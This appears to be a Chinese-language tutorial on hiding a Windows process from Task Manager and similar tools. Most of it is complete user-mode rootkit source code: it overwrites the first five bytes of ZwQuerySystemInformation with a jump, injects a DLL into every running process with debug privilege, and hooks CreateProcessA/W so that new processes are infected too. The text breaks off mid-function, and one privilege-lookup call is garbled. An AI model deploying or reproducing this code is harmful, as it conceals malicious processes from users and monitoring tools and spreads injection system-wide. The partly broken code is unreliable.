如何使用API勾取实现进程隐藏?
Windows中,任务管理器、Procexp等软件都是通过遍历进程信息结构体链表来获取进程名的,所以我们只要获取进程信息结构体链表然后删除指定进程信息块就能实现进程的隐藏,这种隐藏其实不是真正的隐藏而是让查看进程的程序无法查看到而已。
遍历进程方法一(创建进程快照):
HANDLE WINAPI CreateToolhelp32Snapshot(
DWORD dwFlags, //系统快照要查看的信息类型
DWORD th32ProcessID //值0表示当前进程
);
BOOL WINAPI Process32First(
HANDLE hSnapshot, //CreateToolhelp32Snapshot()创建的快照句柄
LPPROCESSENTRY32 lppe //指向进程入口结构
);
BOOL WINAPI Process32Next(
HANDLE hSnapshot, //这里参数同Process32First
LPPROCESSENTRY32 lppe //同上
);
引用地址:遍历进程的4种方法
方法二:
通过psapi.dll提供的EnumProcesses()、EnumProcessModules()函数实现
函数原型声明如下:
BOOL EnumProcesses(
DWORD* pProcessIds,
DWORD cb,
DWORD* pBytesReturned
);
BOOL EnumProcessModules(
HANDLE hProcess,
HMODULE* lphModule,
DWORD cb,
LPDWORD lpcbNeeded
引用地址:枚举进程方法参考
实际以上两中方法在函数内部都会调用ntdll.dll提供的Native API
ZwQuerySystemInformation()函数,所以在应用层做API勾取的时候勾取这个函数可以更加有效
NTSTATUS WINAPI ZwQuerySystemInformation(__in SYSTEM_INFORMATION_CLASS SystemInformationClass,
__in_out PVOID SystemInformation,
__in ULONG SystemInformationLength,
__out_opt PULONG ReturnLength
);
好了,现在来说说本文实现通过勾取API函数实现进程隐藏的方法,其中的关键是API的勾取,勾取的方法有多种这里通过修改API的起始5个字节的代码为跳转地址JMP XXXXXXXX来实现控制跳转,转而执行自定义的MyZwQuerySystemInformation,该函数已经删除了进程信息结构体中我们要勾取的进程节点,因此达到隐藏进程目的(此处因注意的是,它只是隐藏进程名,但是不能隐藏程序窗口和窗口名称,若要达到这一效果,还得重新勾取窗口隐藏的相关API,如SetWindowPos(),MoveWindow()等)
5字节修改补丁
5字节修改方法如下图:
步骤简介:
1、修改API前5个字节JMP XXXXXXXX(挂钩)
2、执行自定义函数(删除进程信息结构体指定节点)
3、脱钩(为什么还要脱钩? 如果不脱钩,该API就无法正常调用,其他进程也无法显示,并且该API还有其他的功能无法完成)
4、调用原API
5、再次挂钩(因为前面只是实现了对这一个程序的进程隐藏,还要获取其他能显示进程的程序)
注意事项:
1.修改前5个字节的时候,要将原来的5个字节保存下来,以便后面脱钩使用,在修改的时候还需要获取该地址的修改权限
2.如果涉及到多线程,在修改5字节的时候还可能会遇到其他线程正读取我们要修改的地址,这时会造成非法访问异常(Access Violation)
3.修改代码用到的技术,仍然是Dll注入,DLL注入要涉及到OpenProcess,而OpenProcess函数又需要提权操作,相关API为
OpenProcessToken、AdjustTokenPrivileges
下面贴上源代码
#include "windows.h"
#include "stdio.h"
#include "tlhelp32.h"
#include "tchar.h"
typedef void (*PFN_SetProcName)(LPCTSTR szProcName);
enum {INJECTION_MODE = 0, EJECTION_MODE};
BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege)
{
TOKEN_PRIVILEGES tp;
HANDLE hToken;
LUID luid;
if( !OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
&hToken) )
{
printf("OpenProcessToken error: %u\n", GetLastError());
return FALSE;
}
if( !LookupPrivilegeValue(NULL, // lookup privilege on local system
lpszPrivilege, // privilege to lookup
&luid) ) // receives LUID of privilege
{
printf("LookupPrivilegeValue error: %u\n", GetLastError() );
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
if( bEnablePrivilege )
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
else
tp.Privileges[0].Attributes = 0;
// Enable the privilege or disable all privileges.
if( !AdjustTokenPrivileges(hToken,
FALSE,
&tp,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES) NULL,
(PDWORD) NULL) )
{
printf("AdjustTokenPrivileges error: %u\n", GetLastError() );
return FALSE;
}
if( GetLastError() == ERROR_NOT_ALL_ASSIGNED )
{
printf("The token does not have the specified privilege. \n");
return FALSE;
}
return TRUE;
}
BOOL InjectDll(DWORD dwPID, LPCTSTR szDllPath)
{
HANDLE hProcess, hThread;
LPVOID pRemoteBuf;
DWORD dwBufSize = (DWORD)(_tcslen(szDllPath) + 1) * sizeof(TCHAR);
LPTHREAD_START_ROUTINE pThreadProc;
if ( !(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)) )
{
printf("OpenProcess(%d) failed!!!\n", dwPID);
return FALSE;
}
pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize,
MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProcess, pRemoteBuf,
(LPVOID)szDllPath, dwBufSize, NULL);
pThreadProc = (LPTHREAD_START_ROUTINE)
GetProcAddress(GetModuleHandle(L"kernel32.dll"),
"LoadLibraryW");
hThread = CreateRemoteThread(hProcess, NULL, 0,
pThreadProc, pRemoteBuf, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
VirtualFreeEx(hProcess, pRemoteBuf, 0, MEM_RELEASE);
CloseHandle(hThread);
CloseHandle(hProcess);
return TRUE;
}
BOOL EjectDll(DWORD dwPID, LPCTSTR szDllPath)
{
BOOL bMore = FALSE, bFound = FALSE;
HANDLE hSnapshot, hProcess, hThread;
MODULEENTRY32 me = { sizeof(me) };
LPTHREAD_START_ROUTINE pThreadProc;
if( INVALID_HANDLE_VALUE ==
(hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwPID)) )
return FALSE;
bMore = Module32First(hSnapshot, &me);
for( ; bMore ; bMore = Module32Next(hSnapshot, &me) )
{
if( !_tcsicmp(me.szModule, szDllPath) ||
!_tcsicmp(me.szExePath, szDllPath) )
{
bFound = TRUE;
break;
}
}
if( !bFound )
{
CloseHandle(hSnapshot);
return FALSE;
}
if( !(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)) )
{
CloseHandle(hSnapshot);
return FALSE;
}
pThreadProc = (LPTHREAD_START_ROUTINE)
GetProcAddress(GetModuleHandle(L"kernel32.dll"),
"FreeLibrary");
hThread = CreateRemoteThread(hProcess, NULL, 0,
pThreadProc, me.modBaseAddr, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
CloseHandle(hProcess);
CloseHandle(hSnapshot);
return TRUE;
}
BOOL InjectAllProcess(int nMode, LPCTSTR szDllPath)
{
DWORD dwPID = 0;
HANDLE hSnapShot = INVALID_HANDLE_VALUE;
PROCESSENTRY32 pe;
// Get the snapshot of the system
pe.dwSize = sizeof( PROCESSENTRY32 );
hSnapShot = CreateToolhelp32Snapshot( TH32CS_SNAPALL, NULL );
// find process
Process32First(hSnapShot, &pe);
do
{
dwPID = pe.th32ProcessID;
// 鉴于系统安全性考虑
//对于PID小于100 的系统进程不注入Dll
if( dwPID < 100 )
continue;
if( nMode == INJECTION_MODE )
InjectDll(dwPID, szDllPath);
else
EjectDll(dwPID, szDllPath);
}
while( Process32Next(hSnapShot, &pe) );
CloseHandle(hSnapShot);
return TRUE;
}
int _tmain(int argc, TCHAR* argv[])
{
int nMode = INJECTION_MODE;
HMODULE hLib = NULL;
PFN_SetProcName SetProcName = NULL;
if( argc != 4 )
{
printf("\n Usage : HideProc.exe <-hide|-show> "\
"<process name> <dll path>\n\n");
return 1;
}
// change privilege
SetPrivilege(SE_DEBUG_NAME, TRUE);
// load library
hLib = LoadLibrary(argv[3]);
// set process name to hide
SetProcName = (PFN_SetProcName)GetProcAddress(hLib, "SetProcName");
SetProcName(argv[2]);
// Inject(Eject) Dll to all process
if( !_tcsicmp(argv[1], L"-show") )
nMode = EJECTION_MODE;
InjectAllProcess(nMode, argv[3]);
// free library
FreeLibrary(hLib);
return 0;
}
注入操作和普通注入并什么差别,只是遍历了进程注入所有进程而已,关键的勾取操作都写入了DLL中
DLL代码
#include "windows.h"
#include "tchar.h"
#define STATUS_SUCCESS (0x00000000L)
typedef LONG NTSTATUS;
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemBasicInformation = 0,
SystemPerformanceInformation = 2,
SystemTimeOfDayInformation = 3,
SystemProcessInformation = 5,
SystemProcessorPerformanceInformation = 8,
SystemInterruptInformation = 23,
SystemExceptionInformation = 33,
SystemRegistryQuotaInformation = 37,
SystemLookasideInformation = 45
} SYSTEM_INFORMATION_CLASS;
typedef struct _SYSTEM_PROCESS_INFORMATION {
ULONG NextEntryOffset;
ULONG NumberOfThreads;
BYTE Reserved1[48];
PVOID Reserved2[3];
HANDLE UniqueProcessId;
PVOID Reserved3;
ULONG HandleCount;
BYTE Reserved4[4];
PVOID Reserved5[11];
SIZE_T PeakPagefileUsage;
SIZE_T PrivatePageCount;
LARGE_INTEGER Reserved6[6];
} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;
typedef NTSTATUS (WINAPI *PFZWQUERYSYSTEMINFORMATION)
(SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength);
#define DEF_NTDLL ("ntdll.dll")
#define DEF_ZWQUERYSYSTEMINFORMATION ("ZwQuerySystemInformation")
// global variable (in sharing memory)
#pragma comment(linker, "/SECTION:.SHARE,RWS")
#pragma data_seg(".SHARE")
TCHAR g_szProcName[MAX_PATH] = {0,};
#pragma data_seg()
// global variable
BYTE g_pOrgBytes[5] = {0,};
BOOL hook_by_code(LPCSTR szDllName, LPCSTR szFuncName, PROC pfnNew, PBYTE pOrgBytes)
{
FARPROC pfnOrg;
DWORD dwOldProtect, dwAddress;
BYTE pBuf[5] = {0xE9, 0, };
PBYTE pByte;
// 获取要勾取API地址
pfnOrg = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName);
pByte = (PBYTE)pfnOrg;
// 若已经勾取,则返回return FALSE
if( pByte[0] == 0xE9 )
return FALSE;
// 修改内存属性,用于修改5字节
VirtualProtect((LPVOID)pfnOrg, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);
//备份原来5字节
memcpy(pOrgBytes, pfnOrg, 5);
//计算JMP地址(E9 XXXX)
// => XXXX = pfnNew - pfnOrg - 5
dwAddress = (DWORD)pfnNew - (DWORD)pfnOrg - 5;
memcpy(&pBuf[1], &dwAddress, 4);
// 修改5字节(JMP XXXX)
memcpy(pfnOrg, pBuf, 5);
// 恢复内存属性
VirtualProtect((LPVOID)pfnOrg, 5, dwOldProtect, &dwOldProtect);
return TRUE;
}
BOOL unhook_by_code(LPCSTR szDllName, LPCSTR szFuncName, PBYTE pOrgBytes)
{
FARPROC pFunc;
DWORD dwOldProtect;
PBYTE pByte;
// 获取API地址
pFunc = GetProcAddress(GetModuleHandleA(szDllName), szFuncName);
pByte = (PBYTE)pFunc;
// 若已经脱钩,则返回return FALSE
if( pByte[0] != 0xE9 )
return FALSE;
// 修改内内存属性,用于恢复5字节
VirtualProtect((LPVOID)pFunc, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);
// Unhook
memcpy(pFunc, pOrgBytes, 5);
// 恢复内存属性
VirtualProtect((LPVOID)pFunc, 5, dwOldProtect, &dwOldProtect);
return TRUE;
}
NTSTATUS WINAPI NewZwQuerySystemInformation(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength)
{
NTSTATUS status;
FARPROC pFunc;
PSYSTEM_PROCESS_INFORMATION pCur, pPrev;
char szProcName[MAX_PATH] = {0,};
// unhook
unhook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION, g_pOrgBytes);
// original API 调用
pFunc = GetProcAddress(GetModuleHandleA(DEF_NTDLL),
DEF_ZWQUERYSYSTEMINFORMATION);
status = ((PFZWQUERYSYSTEMINFORMATION)pFunc)
(SystemInformationClass, SystemInformation,
SystemInformationLength, ReturnLength);
if( status != STATUS_SUCCESS )
goto __NTQUERYSYSTEMINFORMATION_END;
// 仅对SystemProcessInformation类型操作
if( SystemInformationClass == SystemProcessInformation )
{
// SYSTEM_PROCESS_INFORMATION 类型转换
// pCur 是单向列表single linked list 的 head
pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
while(TRUE)
{
// 比较进程名
// g_szProcName =要隐藏的进程名
// (通过SetProcName()来设置)
if(pCur->Reserved2[1] != NULL)
{
if(!_tcsicmp((PWSTR)pCur->Reserved2[1], g_szProcName))
{
// 从链表删除隐藏进程的节点
if(pCur->NextEntryOffset == 0)
pPrev->NextEntryOffset = 0;
else
pPrev->NextEntryOffset += pCur->NextEntryOffset;
}
else
pPrev = pCur;
}
if(pCur->NextEntryOffset == 0)
break;
//链表下一项
pCur = (PSYSTEM_PROCESS_INFORMATION)
((ULONG)pCur + pCur->NextEntryOffset);
}
}
__NTQUERYSYSTEMINFORMATION_END:
// 函数结束前再次勾取 API Hooking为下次勾取做准备
hook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION,
(PROC)NewZwQuerySystemInformation, g_pOrgBytes);
return status;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
char szCurProc[MAX_PATH] = {0,};
char *p = NULL;
// #1. 异常处理
// 若当前进程为HookProc.exe 则终止,不进行勾取
GetModuleFileNameA(NULL, szCurProc, MAX_PATH);
p = strrchr(szCurProc, '\\');
if( (p != NULL) && !_stricmp(p+1, "HideProc.exe") )
return TRUE;
switch( fdwReason )
{
// #2. API Hooking
case DLL_PROCESS_ATTACH :
hook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION,
(PROC)NewZwQuerySystemInformation, g_pOrgBytes);
break;
// #3. API Unhooking
case DLL_PROCESS_DETACH :
unhook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION,
g_pOrgBytes);
break;
}
return TRUE;
}
#ifdef __cplusplus
extern "C" {
#endif
__declspec(dllexport) void SetProcName(LPCTSTR szProcName)
{
_tcscpy_s(g_szProcName, szProcName);
}
#ifdef __cplusplus
}
#endif
以上代码就能够实现对现有运行的调用了ZwQuerySystemInformation()的程序的API勾取,但是却不能勾取到后来新运行的程序的API,为了真正实现对所有API的勾取,还需要新创建进程,也就是要勾取创建进程的API这些API有WinExec、ShellExecute、system等,这些API在其内部实际又都调用了CreateProcess,但是CreateProcess又要分为CreateProcessA和CreateProcessW,而且在这两个函数内部又分别调用CreateProcessInternalA和CreateProcessInternalW,部分windows程序会直接调用这两个程序,所以要同时勾取以上提到的函数才能实现全局勾取,不过其实有一种更简单的方法,因为有逆向人员发现CreateProcess内部调用了ZwResumeThread(),所以只要勾取了这一API就万事大吉,
ZwResumeThread(
IN HANDLE ThreadHandle,
OUT PULONG SuspendCount OPTIONAL)
ZwResumeThread是ntdll中一个未公开函数,将来可能会改变,使之前的程序不稳定,所以无法保证安全性
这里还有一个小提示:
在勾取ZwResumeThread时实际不用像之前那样勾取每个程序的这个函数,因为所有进程都是由父进程(通常是explorer.exe)通过CreateProcess创建,所以勾取父进程的该函数就可以实现注入所有进程。
接下来贴源代码
HideProc2.cpp
#include "windows.h"
#include "stdio.h"
#include "tlhelp32.h"
#include "tchar.h"
enum {INJECTION_MODE = 0, EJECTION_MODE};
BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege)
{
TOKEN_PRIVILEGES tp;
HANDLE hToken;
LUID luid;
if( !OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
&hToken) )
{
printf("OpenProcessToken error: %u\n", GetLastError());
return FALSE;
}
if( !LookupPrivilegeValue(NULL, // lookup privilege on local system
lpszPrivilege, // privilege to lookup
&luid) ) // receives LUID of privilege
{
printf("LookupPrivilegeValue error: %u\n", GetLastError() );
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
if( bEnablePrivilege )
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
else
tp.Privileges[0].Attributes = 0;
// Enable the privilege or disable all privileges.
if( !AdjustTokenPrivileges(hToken,
FALSE,
&tp,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES) NULL,
(PDWORD) NULL) )
{
printf("AdjustTokenPrivileges error: %u\n", GetLastError() );
return FALSE;
}
if( GetLastError() == ERROR_NOT_ALL_ASSIGNED )
{
printf("The token does not have the specified privilege. \n");
return FALSE;
}
return TRUE;
}
BOOL InjectDll(DWORD dwPID, LPCTSTR szDllPath)
{
HANDLE hProcess, hThread;
LPVOID pRemoteBuf;
DWORD dwBufSize = (DWORD)(_tcslen(szDllPath) + 1) * sizeof(TCHAR);
LPTHREAD_START_ROUTINE pThreadProc;
if ( !(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)) )
{
printf("OpenProcess(%d) failed!!!\n", dwPID);
return FALSE;
}
pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize,
MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProcess, pRemoteBuf,
(LPVOID)szDllPath, dwBufSize, NULL);
pThreadProc = (LPTHREAD_START_ROUTINE)
GetProcAddress(GetModuleHandle(L"kernel32.dll"),
"LoadLibraryW");
hThread = CreateRemoteThread(hProcess, NULL, 0,
pThreadProc, pRemoteBuf, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
VirtualFreeEx(hProcess, pRemoteBuf, 0, MEM_RELEASE);
CloseHandle(hThread);
CloseHandle(hProcess);
return TRUE;
}
BOOL EjectDll(DWORD dwPID, LPCTSTR szDllPath)
{
BOOL bMore = FALSE, bFound = FALSE;
HANDLE hSnapshot, hProcess, hThread;
MODULEENTRY32 me = { sizeof(me) };
LPTHREAD_START_ROUTINE pThreadProc;
if( INVALID_HANDLE_VALUE ==
(hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwPID)) )
return FALSE;
bMore = Module32First(hSnapshot, &me);
for( ; bMore ; bMore = Module32Next(hSnapshot, &me) )
{
if( !_tcsicmp(me.szModule, szDllPath) ||
!_tcsicmp(me.szExePath, szDllPath) )
{
bFound = TRUE;
break;
}
}
if( !bFound )
{
CloseHandle(hSnapshot);
return FALSE;
}
if( !(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)) )
{
printf("OpenProcess(%d) failed!!!\n", dwPID);
CloseHandle(hSnapshot);
return FALSE;
}
pThreadProc = (LPTHREAD_START_ROUTINE)
GetProcAddress(GetModuleHandle(L"kernel32.dll"),
"FreeLibrary");
hThread = CreateRemoteThread(hProcess, NULL, 0,
pThreadProc, me.modBaseAddr, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
CloseHandle(hProcess);
CloseHandle(hSnapshot);
return TRUE;
}
BOOL InjectAllProcess(int nMode, LPCTSTR szDllPath)
{
DWORD dwPID = 0;
HANDLE hSnapShot = INVALID_HANDLE_VALUE;
PROCESSENTRY32 pe;
// Get the snapshot of the system
pe.dwSize = sizeof( PROCESSENTRY32 );
hSnapShot = CreateToolhelp32Snapshot( TH32CS_SNAPALL, NULL );
// find process
Process32First(hSnapShot, &pe);
do
{
dwPID = pe.th32ProcessID;
if( dwPID < 100 )
continue;
if( nMode == INJECTION_MODE )
InjectDll(dwPID, szDllPath);
else
EjectDll(dwPID, szDllPath);
} while( Process32Next(hSnapShot, &pe) );
CloseHandle(hSnapShot);
return TRUE;
}
int _tmain(int argc, TCHAR* argv[])
{
int nMode = INJECTION_MODE;
if( argc != 3 )
{
printf("\n Usage : HideProc2.exe <-hide|-show> <dll path>\n\n");
return 1;
}
// change privilege
SetPrivilege(SE_DEBUG_NAME, TRUE);
// Inject(Eject) Dll to all process
if( !_tcsicmp(argv[1], L"-show") )
nMode = EJECTION_MODE;
InjectAllProcess(nMode, argv[2]);
return 0;
}
stealth2.cpp
#include "windows.h"
#include "stdio.h"
#include "tchar.h"
#define STR_MODULE_NAME (L"stealth2.dll")
#define STR_HIDE_PROCESS_NAME (L"notepad.exe")
#define STATUS_SUCCESS (0x00000000L)
typedef LONG NTSTATUS;
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemBasicInformation = 0,
SystemPerformanceInformation = 2,
SystemTimeOfDayInformation = 3,
SystemProcessInformation = 5,
SystemProcessorPerformanceInformation = 8,
SystemInterruptInformation = 23,
SystemExceptionInformation = 33,
SystemRegistryQuotaInformation = 37,
SystemLookasideInformation = 45
} SYSTEM_INFORMATION_CLASS;
typedef struct _SYSTEM_PROCESS_INFORMATION {
ULONG NextEntryOffset;
BYTE Reserved1[52];
PVOID Reserved2[3];
HANDLE UniqueProcessId;
PVOID Reserved3;
ULONG HandleCount;
BYTE Reserved4[4];
PVOID Reserved5[11];
SIZE_T PeakPagefileUsage;
SIZE_T PrivatePageCount;
LARGE_INTEGER Reserved6[6];
} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;
typedef NTSTATUS (WINAPI *PFZWQUERYSYSTEMINFORMATION)(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength);
typedef BOOL (WINAPI *PFCREATEPROCESSA)(
LPCTSTR lpApplicationName,
LPTSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCTSTR lpCurrentDirectory,
LPSTARTUPINFO lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
);
typedef BOOL (WINAPI *PFCREATEPROCESSW)(
LPCTSTR lpApplicationName,
LPTSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCTSTR lpCurrentDirectory,
LPSTARTUPINFO lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
);
BYTE g_pOrgCPA[5] = {0,};
BYTE g_pOrgCPW[5] = {0,};
BYTE g_pOrgZwQSI[5] = {0,};
BOOL hook_by_code(LPCSTR szDllName, LPCSTR szFuncName, PROC pfnNew, PBYTE pOrgBytes)
{
FARPROC pFunc;
DWORD dwOldProtect, dwAddress;
BYTE pBuf[5] = {0xE9, 0, };
PBYTE pByte;
pFunc = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName);
pByte = (PBYTE)pFunc;
if( pByte[0] == 0xE9 )
return FALSE;
VirtualProtect((LPVOID)pFunc, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);
memcpy(pOrgBytes, pFunc, 5);
dwAddress = (DWORD)pfnNew - (DWORD)pFunc - 5;
memcpy(&pBuf[1], &dwAddress, 4);
memcpy(pFunc, pBuf, 5);
VirtualProtect((LPVOID)pFunc, 5, dwOldProtect, &dwOldProtect);
return TRUE;
}
BOOL unhook_by_code(LPCSTR szDllName, LPCSTR szFuncName, PBYTE pOrgBytes)
{
FARPROC pFunc;
DWORD dwOldProtect;
PBYTE pByte;
pFunc = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName);
pByte = (PBYTE)pFunc;
if( pByte[0] != 0xE9 )
return FALSE;
VirtualProtect((LPVOID)pFunc, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);
memcpy(pFunc, pOrgBytes, 5);
VirtualProtect((LPVOID)pFunc, 5, dwOldProtect, &dwOldProtect);
return TRUE;
}
BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege)
{
TOKEN_PRIVILEGES tp;
HANDLE hToken;
LUID luid;
if( !OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
&hToken) )
{
printf("OpenProcessToken error: %u\n", GetLastError());
return FALSE;
}
if( !LookupPrivilegeValue(NULL,
// lookup privilege on local system
// privilege to lookup
&luid) )
// receives LUID of privilege
{
printf("LookupPrivilegeValue error: %u\n", GetLastError() );
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
if( bEnablePrivilege )
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
else
tp.Privileges[0].Attributes = 0;
// Enable the privilege or disable all privileges.
if( !AdjustTokenPrivileges(hToken,
FALSE,
&tp,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES) NULL,
(PDWORD) NULL) )
{
printf("AdjustTokenPrivileges error: %u\n", GetLastError() );
return FALSE;
}
if( GetLastError() == ERROR_NOT_ALL_ASSIGNED )
{
printf("The token does not have the specified privilege. \n");
return FALSE;
}
return TRUE;
}
BOOL InjectDll2(HANDLE hProcess, LPCTSTR szDllName)
{
HANDLE hThread;
LPVOID pRemoteBuf;
DWORD dwBufSize = (DWORD)(_tcslen(szDllName) + 1) * sizeof(TCHAR);
FARPROC pThreadProc;
pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize,
MEM_COMMIT, PAGE_READWRITE);
if( pRemoteBuf == NULL )
return FALSE;
WriteProcessMemory(hProcess, pRemoteBuf, (LPVOID)szDllName,
dwBufSize, NULL);
pThreadProc = GetProcAddress(GetModuleHandleA("kernel32.dll"),
"LoadLibraryW");
hThread = CreateRemoteThread(hProcess, NULL, 0,
(LPTHREAD_START_ROUTINE)pThreadProc,
pRemoteBuf, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
VirtualFreeEx(hProcess, pRemoteBuf, 0, MEM_RELEASE);
CloseHandle(hThread);
return TRUE;
}
NTSTATUS WINAPI NewZwQuerySystemInformation(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength)
{
NTSTATUS status;
FARPROC pFunc;
PSYSTEM_PROCESS_INFORMATION pCur, pPrev;
char szProcName[MAX_PATH] = {0,};
unhook_by_code("ntdll.dll", "ZwQuerySystemInformation", g_pOrgZwQSI);
pFunc = GetProcAddress(GetModuleHandleA("ntdll.dll"),
"ZwQuerySystemInformation");
status = ((PFZWQUERYSYSTEMINFORMATION)pFunc)
(SystemInformationClass, SystemInformation,
SystemInformationLength, ReturnLength);
if( status != STATUS_SUCCESS )
goto __NTQUERYSYSTEMINFORMATION_END;
if( SystemInformationClass == SystemProcessInformation )
{
pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
while(TRUE)
{
if(pCur->Reserved2[1] != NULL)
{
if(!_tcsicmp((PWSTR)pCur->Reserved2[1], STR_HIDE_PROCESS_NAME))
{
if(pCur->NextEntryOffset == 0)
pPrev->NextEntryOffset = 0;
else
pPrev->NextEntryOffset += pCur->NextEntryOffset;
}
else
pPrev = pCur;
}
if(pCur->NextEntryOffset == 0)
break;
pCur = (PSYSTEM_PROCESS_INFORMATION)((ULONG)pCur + pCur->NextEntryOffset);
}
}
__NTQUERYSYSTEMINFORMATION_END:
hook_by_code("ntdll.dll", "ZwQuerySystemInformation",
(PROC)NewZwQuerySystemInformation, g_pOrgZwQSI);
return status;
}
BOOL WINAPI NewCreateProcessA(
LPCTSTR lpApplicationName,
LPTSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCTSTR lpCurrentDirectory,
LPSTARTUPINFO lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
)
{
BOOL bRet;
FARPROC pFunc;
// unhook
unhook_by_code("kernel32.dll", "CreateProcessA", g_pOrgCPA);
// original API 调用
pFunc = GetProcAddress(GetModuleHandleA("kernel32.dll"), "CreateProcessA");
bRet = ((PFCREATEPROCESSA)pFunc)(lpApplicationName,
lpCommandLine,
lpProcessAttributes,
lpThreadAttributes,
bInheritHandles,
dwCreationFlags,
lpEnvironment,
lpCurrentDirectory,
lpStartupInfo,
lpProcessInformation);
// 向生成的子进程注入stealth2.dll
if( bRet )
InjectDll2(lpProcessInformation->hProcess, STR_MODULE_NAME);
// hook
hook_by_code("kernel32.dll", "CreateProcessA",
(PROC)NewCreateProcessA, g_pOrgCPA);
return bRet;
}
BOOL WINAPI NewCreateProcessW(
LPCTSTR lpApplicationName,
LPTSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCTSTR lpCurrentDirectory,
LPSTARTUPINFO lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
)
{
BOOL bRet;
FARPROC pFunc;
// unhook
unhook_by_code("kernel32.dll", "CreateProcessW", g_pOrgCPW);
// original API 调用
pFunc = GetProcAddress(GetModuleHandleA("kernel32.dll"), "CreateProcessW");
bRet = ((PFCREATEPROCESSW)pFunc)(lpApplicationName,
lpCommandLine,
lpProcessAttributes,
lpThreadAttributes,
bInheritHandles,
dwCreationFlags,
lpEnvironment,
lpCurrentDirectory,
lpStartupInfo,
lpProcessInformation);
// 向生成的子进程注入stealth2.dll
if( bRet )
InjectDll2(lpProcessInformation->hProcess, STR_MODULE_NAME);
// hook
hook_by_code("kernel32.dll", "CreateProcessW",
(PROC)NewCreateProcessW, g_pOrgCPW);
return bRet;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
char szCurProc[MAX_PATH] = {0,};
char *p = NULL;
// 异常处理是注入不会发生在HideProc2.exe
GetModuleFileNameA(NULL, szCurProc, MAX_PATH);
